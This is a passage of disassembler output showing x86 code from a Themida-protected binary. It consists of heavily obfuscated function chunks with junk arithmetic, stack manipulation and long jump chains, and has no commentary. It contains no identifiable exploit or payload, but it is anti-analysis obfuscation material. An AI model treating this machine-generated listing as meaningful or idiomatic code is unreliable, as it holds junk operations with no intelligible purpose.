jmp loc_58BEDD
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5951B9
loc_58D126: ; CODE XREF: sub_5951B9+9j
push dword ptr [esp+4]
mov ecx, [esp+8+var_8]
jmp loc_594ED0
; END OF FUNCTION CHUNK FOR sub_5951B9
; ---------------------------------------------------------------------------
loc_58D132: ; CODE XREF: Themida_:0058F797j
neg eax
add eax, 132D8622h
sub edi, eax
pop eax
pop eax
xor edx, edi
pop edi
or [edi+1Ch], edx
pop edx
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_58D149: ; CODE XREF: sub_592D25-1BC1j
; sub_595BDA-2112j
add esi, 4
add esi, 4
xchg esi, [esp+0]
pop esp
sub esp, 4
mov [esp+0], ecx
jmp loc_594B4F
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58D164: ; CODE XREF: sub_590467-5D2Fj
; Themida_:00592DD2j
neg cl
ja loc_58EB56
push eax
mov al, 0B8h
or al, 0DCh
and al, 0B8h
xor al, 95h
shl al, 3
dec al
add al, 54h
or cl, al
pop eax
and cl, 4Dh
jb loc_58FB59
add cl, 0F9h
mov bh, cl
push [esp-4+arg_0]
jmp loc_596CAB
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
mov edx, esp
jmp loc_593237
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58D1A1: ; CODE XREF: sub_590010-7FEj
mov esi, 4100C26Fh
push ebx
mov ebx, 560E4288h
sub ecx, ebx
jmp loc_591389
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_58D1B3: ; CODE XREF: sub_594654-51A7j
mov esi, ecx
jmp loc_5977BA
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5909B4
loc_58D1BA: ; CODE XREF: sub_5909B4+6CCj
pop eax
inc eax
add eax, 1625718Ah
add ebx, eax
pop eax
jmp loc_58FC72
; END OF FUNCTION CHUNK FOR sub_5909B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58D1C9: ; CODE XREF: sub_59524C-92C3j
sub ebx, 2A7C5613h
sub ebx, 3558747Fh
add ebx, edx
add ebx, 3558747Fh
add ebx, 2A7C5613h
pop edx
and eax, ebx
push [esp-8+arg_4]
pop ebx
add esp, 4
or eax, eax
jz sub_592857
push edx
push esi
sub esp, 4
mov [esp+0], edi
jmp sub_590B70
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
loc_58D208: ; CODE XREF: Themida_:0059171Dj
push eax
xor dword ptr [esp], 3D0C1D82h
pop ebx
jmp loc_58F6B6
; ---------------------------------------------------------------------------
loc_58D216: ; CODE XREF: Themida_:00596261j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
bswap eax
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_594F77
; =============== S U B R O U T I N E =======================================
sub_58D236 proc near ; CODE XREF: sub_58EB1F-4429j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0058A79E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C6BC SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058E652 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591917 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00591B4D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593B4E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059772E SIZE 00000020 BYTES
sub esp, 4
jmp loc_591917
sub_58D236 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
push ecx
push esp
jmp loc_594165
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58D24D: ; CODE XREF: Themida_:0058DD94j
; sub_590467-906j
push edx
mov edx, 0FFFFFFFFh
jmp loc_591EB5
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58D258: ; CODE XREF: Themida_:005909EBj
or esi, 7D0B5406h
inc esi
xor esi, 38647B2Eh
add edi, esi
pop esi
sub edi, 77F35DE0h
pop edx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_58EF24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595655
loc_58D27D: ; CODE XREF: sub_595655-121Aj
sub esi, ebp
sub esi, 220B2D76h
add esi, 2CFD2B33h
pop ebp
and eax, esi
jmp loc_58F954
; END OF FUNCTION CHUNK FOR sub_595655
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590E26
loc_58D293: ; CODE XREF: sub_590E26+8j
xor ebp, 67F44F0Eh
and ebp, 75B586Ah
push ecx
mov ecx, 477A40ACh
xor ebp, ecx
pop ecx
shr ebp, 2
xor ebp, 10CAC035h
jmp loc_592EE5
; END OF FUNCTION CHUNK FOR sub_590E26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_58D2B6: ; CODE XREF: sub_58B4D6+55C1j
not edx
or edx, 60077B84h
shr edx, 8
xor edx, 3A1960B4h
sub edx, 0F0CF951Ah
sub ebx, 1F325105h
sub ebx, edx
jmp loc_590373
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58D2DA: ; CODE XREF: sub_58C17E+89B4j
mov ecx, 35AE46A2h
sub ecx, edi
jmp loc_595921
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58D2E6: ; CODE XREF: sub_595E21-2D95j
xor ebp, eax
jmp loc_58B239
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58D2ED: ; CODE XREF: sub_590010+1722j
add eax, edx
add eax, 2A0D12AAh
jmp loc_5922B2
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58D2F9: ; CODE XREF: Themida_:0058FEB1j
xor ebp, 15C31B13h
xor ebp, 4A7A4D6Ah
jmp loc_5959E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58D30A: ; CODE XREF: sub_59524C-25Ej
sub ecx, esi
pop esi
mov esi, ecx
jmp loc_58BA94
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58D314: ; CODE XREF: sub_590467-5CF5j
add bl, 0E3h
sub bl, 3Dh
jmp loc_59357F
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58D31F: ; CODE XREF: Themida_:0058E8ECj
push eax
mov eax, edx
push edi
mov edi, eax
mov esi, edi
pop edi
pop eax
mov edx, [esp]
add esp, 4
sub eax, 225012F1h
sub eax, esi
add eax, 225012F1h
pop esi
push ebx
mov ebx, 5B98976Dh
jmp loc_592D57
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_596CA1
loc_58D34A: ; CODE XREF: sub_596CA1-AB6Bj
add eax, 4
add eax, 4
xchg eax, [esp+8+var_8]
pop esp
jmp loc_58A530
; END OF FUNCTION CHUNK FOR sub_596CA1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58D35B: ; CODE XREF: sub_58C17E+8CE0j
mov ebp, 0CD51514h
xor ebp, 69537D08h
dec ebp
jmp loc_58D8D5
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_58D36C: ; CODE XREF: sub_5919E2-63F0j
; sub_58EF52+172Bj
mov ecx, esi
pop esi
shl ecx, 7
xor ecx, 625714FAh
jg loc_58E794
xor ecx, 9FD30FFAh
push edx
push ecx
pop edx
mov eax, edx
jmp loc_5946E3
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
loc_58D38E: ; CODE XREF: Themida_:005946A4j
; Themida_:0059690Fj
sub esi, 4E32513Dh
sub esp, 4
mov [esp], edi
mov edi, 249D7888h
sub esi, edi
jmp loc_592A6E
; ---------------------------------------------------------------------------
loc_58D3A6: ; CODE XREF: Themida_:0059311Bj
mov ax, [esp]
push esi
push esp
pop esi
sub esp, 4
jmp loc_597A93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58D3B5: ; CODE XREF: sub_590010-3AE2j
mov edi, esp
jmp loc_58E57F
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58D3BC: ; CODE XREF: sub_58F5B5+17FAj
mov ebp, 78A8264Bh
jmp loc_5975C4
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58D3C6: ; CODE XREF: Themida_:00591F60j
sub edx, eax
sub edx, 672B404Bh
push eax
jmp loc_58F820
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
mov edx, esp
push eax
push esi
mov esi, 3F1C7870h
inc esi
jno loc_5969B3
push esi
not dword ptr [esp]
jmp loc_58BA29
; ---------------------------------------------------------------------------
mov edi, [esp]
mov bl, bh
pop edi
loc_58D3F8: ; CODE XREF: Themida_:0058B65Cj
mov [esp], edx
jmp loc_595C22
; ---------------------------------------------------------------------------
loc_58D400: ; CODE XREF: Themida_:00594ADFj
; Themida_:0059792Bj
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
mov [esp], edx
push eax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58D413: ; CODE XREF: sub_5916C4:loc_593AB7j
add esi, 0FD346D2Ah
mov ebx, esi
mov esi, [esp-4+arg_0]
add esp, 4
shl ebx, 6
push ebx
not [esp-4+arg_0]
pop ebx
shr ebx, 4
jmp loc_596ADF
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58D434: ; CODE XREF: sub_58F5B5-402Ej
add esi, 4
jmp loc_59460E
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58D43F: ; CODE XREF: Themida_:0058E97Bj
mul cl
movzx cx, ah
push small 49BCh
mov [esp], cx
jmp loc_58FFC7
; ---------------------------------------------------------------------------
loc_58D452: ; CODE XREF: Themida_:0058C035j
mov ecx, 1D293A80h
add eax, ecx
pop ecx
add eax, 57355468h
sub eax, esi
sub eax, 57355468h
sub eax, 1D293A80h
mov esi, [esp]
add esp, 4
sub eax, ebx
push edi
push 0FE67D2Dh
mov edi, [esp]
add esp, 4
jmp loc_597769
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58D484: ; CODE XREF: sub_590010+3264j
mov edi, esp
add edi, 4
add edi, 4
jmp loc_59576A
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_58D497: ; CODE XREF: sub_595123-2FE8j
pop ecx
or eax, eax
jz loc_58B321
push dword ptr [edi+28h]
push ebp
mov ebp, 4FC95A1Eh
push esi
mov esi, 10A703A4h
add [esp+0Ch+var_4], esi
jmp loc_59350A
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338C
loc_58D4B8: ; CODE XREF: sub_59338C-57Ej
mov ebx, [esp+4+var_4]
add esp, 4
jmp loc_58DC97
; END OF FUNCTION CHUNK FOR sub_59338C
; ---------------------------------------------------------------------------
loc_58D4C3: ; CODE XREF: Themida_:0058ED7Fj
push ecx
mov ecx, 34A14552h
or ecx, 7B375689h
jmp loc_591067
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_58D4D4: ; CODE XREF: sub_5919E2-7531j
add ecx, edx
add ecx, 4D811A70h
mov dword ptr [ecx], 0D6F6CAAh
sub esp, 4
jmp loc_594E8C
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58D4ED: ; CODE XREF: sub_590010-39FFj
; Themida_:0058F4FBj
push 74C2h
mov [esp+8+var_8], eax
push 3BC5320Ch
pop eax
push ebp
mov ebp, 77D1A17h
not ebp
inc ebp
shl ebp, 5
add ebp, 1
xor ebp, 17031D2Ah
and ebp, 565E5BEFh
xor ebp, 236C402Bh
xor eax, ebp
jmp loc_592661
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595655
loc_58D526: ; CODE XREF: sub_595655-5CEAj
pop ebx
inc ebx
push ebp
jmp loc_592607
; END OF FUNCTION CHUNK FOR sub_595655
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5921D8
loc_58D52E: ; CODE XREF: sub_5921D8+Aj
mov bl, 41h
mov al, 24h
add al, 9Bh
add al, bl
sub al, 9Bh
pop ebx
sub al, 38h
jz loc_593152
jmp loc_58D770
; END OF FUNCTION CHUNK FOR sub_5921D8
; ---------------------------------------------------------------------------
mov cx, [esp]
push 7A8Bh
mov [esp], eax
jmp loc_58CF48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58D557: ; CODE XREF: sub_5916C4+267Bj
mov dh, 50h
push ebx
push edx
push cx
push ebx
mov bl, 30h
add bl, 0EDh
jl loc_58A9F3
add bl, 76h
shr bl, 5
jns loc_58DD51
shl bl, 1
jns loc_58FD5F
jmp loc_591516
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58D582: ; CODE XREF: Themida_:0058C7B0j
mov edx, 71364793h
shr edx, 2
sub esp, 4
mov [esp], esi
mov esi, 1C4D91E0h
xor edx, esi
pop esi
add esi, edx
pop edx
add esi, 4
xchg esi, [esp]
mov esp, [esp]
and [esp], eax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58D5B0: ; CODE XREF: sub_5938B9-3088j
pop ebx
push ecx
mov ecx, 66FE2553h
sub edi, ecx
jmp loc_597FA4
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_58D5BE: ; CODE XREF: Themida_:00590462j
mov edx, 4
add esi, edx
mov edx, [esp]
jmp loc_58DDAB
; ---------------------------------------------------------------------------
loc_58D5CD: ; CODE XREF: Themida_:0059653Aj
push ecx
push edx
mov edx, 5379141Fh
push edx
jmp loc_58B111
; ---------------------------------------------------------------------------
loc_58D5DA: ; CODE XREF: Themida_:0058C57Fj
mov ecx, esp
jmp loc_58C0E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58D5E1: ; CODE XREF: sub_58C17E+3450j
mov ebp, 2C425684h
add ebx, ebp
pop ebp
jmp loc_5947F8
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58D5EE: ; CODE XREF: sub_590467-1FE5j
sub bh, 6Bh
add bh, ch
jmp loc_596425
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_58D5F8: ; CODE XREF: sub_594654-11CAj
mov [esp+0Ch+var_C], ecx
mov ecx, 46870560h
xor ecx, 16606035h
neg ecx
shl ecx, 1
shl ecx, 7
jmp loc_591FF5
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58D612: ; CODE XREF: sub_58F5B5+8719j
shl esi, 2
jnp loc_58FB23
sub esi, 32A79037h
mov eax, esi
pop esi
dec eax
jl loc_58DBDF
jmp loc_594A3E
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58D630: ; CODE XREF: Themida_:00592210j
; Themida_:0059586Ej
add eax, edi
jmp loc_595529
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_58E2E0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58D642: ; CODE XREF: sub_58F5B5+1C5Bj
add ah, 3Bh
or cl, ah
mov eax, [esp-4+arg_0]
add esp, 4
add cl, 37h
sub bl, cl
jmp loc_593765
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58D65A: ; CODE XREF: Themida_:00593E54j
pop ebp
push ebp
jmp loc_58C596
; ---------------------------------------------------------------------------
loc_58D661: ; CODE XREF: Themida_:005979D7j
shl eax, 3
push edi
push esi
push 1AA654C2h
jmp loc_5911F6
; ---------------------------------------------------------------------------
loc_58D670: ; CODE XREF: Themida_:00593F68j
add edx, 56592BF6h
xor ebp, edx
pop edx
sub ebx, 4B52234h
sub ebx, ebp
jmp loc_59608D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58D686: ; CODE XREF: sub_58C17E+4237j
mov esi, 24102F2Fh
neg esi
xor esi, 40C25178h
or esi, 2D1215A0h
jno loc_5909F0
shl esi, 5
jmp loc_58E495
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
dec ebp
and bl, 8Fh
push dword ptr [esp]
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ecx
push 7E31h
mov [esp], esp
jmp loc_592194
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58D6C5: ; CODE XREF: sub_58F5B5:loc_597CF6j
xor ebp, 347A4849h
jno loc_593C0E
sub ebp, 4291057Dh
mov bh, bh
or al, 0AAh
loc_58D6DB: ; CODE XREF: Themida_:0059558Bj
add [esp-8+arg_8], ebp
push [esp-8+arg_4]
pop ebp
jmp sub_58E980
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_58D6E8: ; CODE XREF: sub_5919E2+478Cj
add esp, 4
pop ecx
loc_58D6EF: ; CODE XREF: sub_58F5B5-527Bj
push 6413h
mov [esp+0], ecx
push eax
mov eax, 14105794h
inc eax
shr eax, 1
not eax
push ebp
jmp loc_5973F1
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
push 7E53h
mov [esp], ebx
mov ebx, 39AC15F7h
shr ebx, 3
shl ebx, 2
jmp loc_591EBF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_58D739: ; CODE XREF: sub_58B4D6-FDj
xor eax, 21421DB3h
add [esp+0Ch+var_8], eax
mov eax, [esp+0Ch+var_C]
add esp, 4
mov eax, [esp+8+var_8]
add esp, 4
add eax, 4
push edx
mov edx, 2
add eax, 2A2A0168h
sub eax, edx
sub eax, 2A2A0168h
mov edx, [esp+8+var_8]
jmp loc_58F293
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58D770: ; CODE XREF: sub_58C17E+A42j
; sub_5921D8-4C97j
not al
jmp loc_58B4BB
; ---------------------------------------------------------------------------
loc_58D777: ; CODE XREF: sub_58C17E+A5B4j
add ebp, esi
push eax
mov eax, 4C593841h
neg eax
dec eax
inc eax
jmp loc_59674C
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58D788: ; CODE XREF: Themida_:0058F94Fj
add eax, 2
xchg eax, [esp]
mov esp, [esp]
mov cx, [esp]
push 3251h
mov [esp], ebx
mov ebx, esp
push eax
mov eax, 1A747F12h
add eax, 56A51816h
or eax, 75603220h
push ebp
mov ebp, 2633313Bh
push edx
mov edx, 74B55F0h
sub edx, 0E1FD49C1h
and ebp, edx
jmp loc_5973C6
; ---------------------------------------------------------------------------
loc_58D7C8: ; CODE XREF: Themida_:0058FC02j
sub edi, 320C48E6h
neg edi
neg edi
neg edi
add edi, 0D31D238Dh
mov edx, edi
jmp loc_58ECB6
; ---------------------------------------------------------------------------
loc_58D7E1: ; CODE XREF: Themida_:0058B827j
add dword ptr [esp+4], 6DEE53C8h
pop ebx
jmp loc_58EF89
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58D7EF: ; CODE XREF: sub_590467-441Cj
add dl, 93h
and al, dl
pop edx
sub al, 0Fh
add bl, 0C9h
add bl, al
sub bl, 0C9h
jmp loc_5914E9
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58D804: ; CODE XREF: Themida_:00590CD4j
add ecx, 4
push 7E8Ah
mov [esp], ebp
push esi
jmp loc_592D08
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_58E495
; ---------------------------------------------------------------------------
loc_58D822: ; CODE XREF: Themida_:0058C45Fj
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
ror word ptr [esp], cl
pushf
jmp loc_58EFC5
; ---------------------------------------------------------------------------
loc_58D835: ; CODE XREF: Themida_:00591B8Aj
pop edi
xor [esp+4], ebx
pop ebx
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
jmp loc_5941B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58D852: ; CODE XREF: sub_590467+1C25j
; sub_5916CB+48C2j
mov edi, 4C76708Ah
jmp sub_5942E3
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58D85C: ; CODE XREF: sub_5EC2E8-5E6A4j
shl ah, 2
or ah, 0FEh
inc ah
jmp loc_58A58E
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58D869: ; CODE XREF: sub_58C17E+97B1j
add ecx, 0F38ABCCFh
add ebp, 24C13372h
jmp loc_593157
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58D87A: ; CODE XREF: Themida_:0058FBB5j
xchg ecx, [esp]
pop esp
jmp loc_596857
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58D883: ; CODE XREF: sub_590467+7950j
or edi, 6FA162E0h
sub edi, 0D04526Dh
jmp loc_59405C
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58D894: ; CODE XREF: sub_5938B9-34F7j
mov ebx, 60550EF9h
jmp loc_58B549
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_58D89E: ; CODE XREF: Themida_:0058FC3Fj
mov ebp, esp
jmp loc_595DBE
; ---------------------------------------------------------------------------
loc_58D8A5: ; CODE XREF: Themida_:00593257j
xor edx, eax
pop eax
add ebx, edx
pop edx
xchg ebx, [esp]
pop esp
add esp, 4
jmp loc_5920E0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58D8B7: ; CODE XREF: sub_59762D-CA05j
; Themida_:00595FD5j
sub bl, 0D5h
push cx
mov cl, 6Ch
jmp loc_58F6B1
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_58D8C3: ; CODE XREF: Themida_:00594DDBj
mov edi, eax
pop eax
push edi
xchg ebx, [esp]
not ebx
xchg ebx, [esp]
pop edi
jmp loc_59429B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58D8D5: ; CODE XREF: sub_58C17E+11E9j
sub ebp, 2B8E2343h
not ebp
push eax
push edi
mov edi, 5196398Ch
jmp loc_593663
; ---------------------------------------------------------------------------
loc_58D8E9: ; CODE XREF: sub_58C17E+8BE8j
pop esp
test cl, al
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58D8F2: ; CODE XREF: Themida_:0058AE44j
push 3DDAh
jmp loc_594794
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58D8FC: ; CODE XREF: sub_5EC2E8-5F215j
add esp, 4
push [esp+1Ch+var_1C]
pop eax
sub esp, 4
mov [esp+20h+var_20], ebx
mov ebx, esp
push edx
mov edx, 8A95E47h
jmp loc_58E4EB
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58D919: ; CODE XREF: sub_5916C4-6CC3j
; sub_5916C4-66E7j
sub bl, 7Eh
add bl, 75h
sub bl, 0F9h
add al, bl
pop ebx
pop ebx
jmp loc_58CA87
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58D92B: ; CODE XREF: sub_58C17E+806Aj
pop edx
jmp loc_58C336
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_58D931: ; CODE XREF: sub_595123+3Fj
push [esp+0Ch+var_C]
jmp loc_5944BC
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_58D939: ; CODE XREF: Themida_:00590949j
; Themida_:005968CFj
mov ebp, 581A0570h
shl ebp, 5
jmp loc_590BFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_58D946: ; CODE XREF: sub_590B70-5A21j
shl eax, 3
jmp loc_59238D
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
loc_58D94E: ; CODE XREF: Themida_:00593450j
shr edx, 2
and edx, 6E0275E6h
jle loc_59368D
push esi
mov esi, 103853A5h
neg esi
xor esi, 3FA426FFh
sub esi, 4A13137Ch
jmp loc_593064
; ---------------------------------------------------------------------------
loc_58D976: ; CODE XREF: Themida_:0058A979j
add ecx, 0B1921A9Eh
add edi, ecx
pop ecx
jmp loc_590CAB
; ---------------------------------------------------------------------------
loc_58D984: ; CODE XREF: Themida_:0059263Aj
mov edx, ebx
pop ebx
add eax, edx
jmp loc_590631
; ---------------------------------------------------------------------------
loc_58D98E: ; CODE XREF: Themida_:00596900j
shr ebx, 5
jmp loc_595E67
; ---------------------------------------------------------------------------
loc_58D996: ; CODE XREF: Themida_:005963F9j
push edx
jmp loc_5929FC
; =============== S U B R O U T I N E =======================================
sub_58D99C proc near ; CODE XREF: sub_58C17E+38C2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058C050 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058C064 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C2DF SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0058C3BC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058DCC8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058EB80 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00591149 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005915DB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00591703 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005926D2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00592834 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594200 SIZE 0000001F BYTES
push ebp
push 27302C7Ah
pop ebp
jmp loc_58DCC8
sub_58D99C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_58D9A8: ; CODE XREF: Themida_:0059168Aj
sub ebp, 56774CF8h
add ebp, ebx
jmp loc_592F9B
; ---------------------------------------------------------------------------
loc_58D9B5: ; CODE XREF: Themida_:005947D7j
push esp
pop edx
add edx, 4
push ebx
push 4
jmp loc_58DA9F
; ---------------------------------------------------------------------------
loc_58D9C8: ; CODE XREF: Themida_:0058C4F3j
sub ebp, 2
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], dx
jmp loc_595746
; ---------------------------------------------------------------------------
loc_58D9E0: ; CODE XREF: Themida_:0058FBAAj
push esi
mov esi, 2C422628h
mov edx, 87E46Dh
jmp loc_595B14
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_58D9F0: ; CODE XREF: sub_595123-39AEj
xor edx, ebp
mov ebp, [esp+10h+var_10]
push eax
mov eax, esp
add eax, 4
jmp loc_591613
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_58DA02: ; CODE XREF: Themida_:00590AD4j
mov [esp], edx
mov edx, 38A57BF4h
xor edx, 350446F3h
push edx
not dword ptr [esp]
jmp loc_58E2DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F013
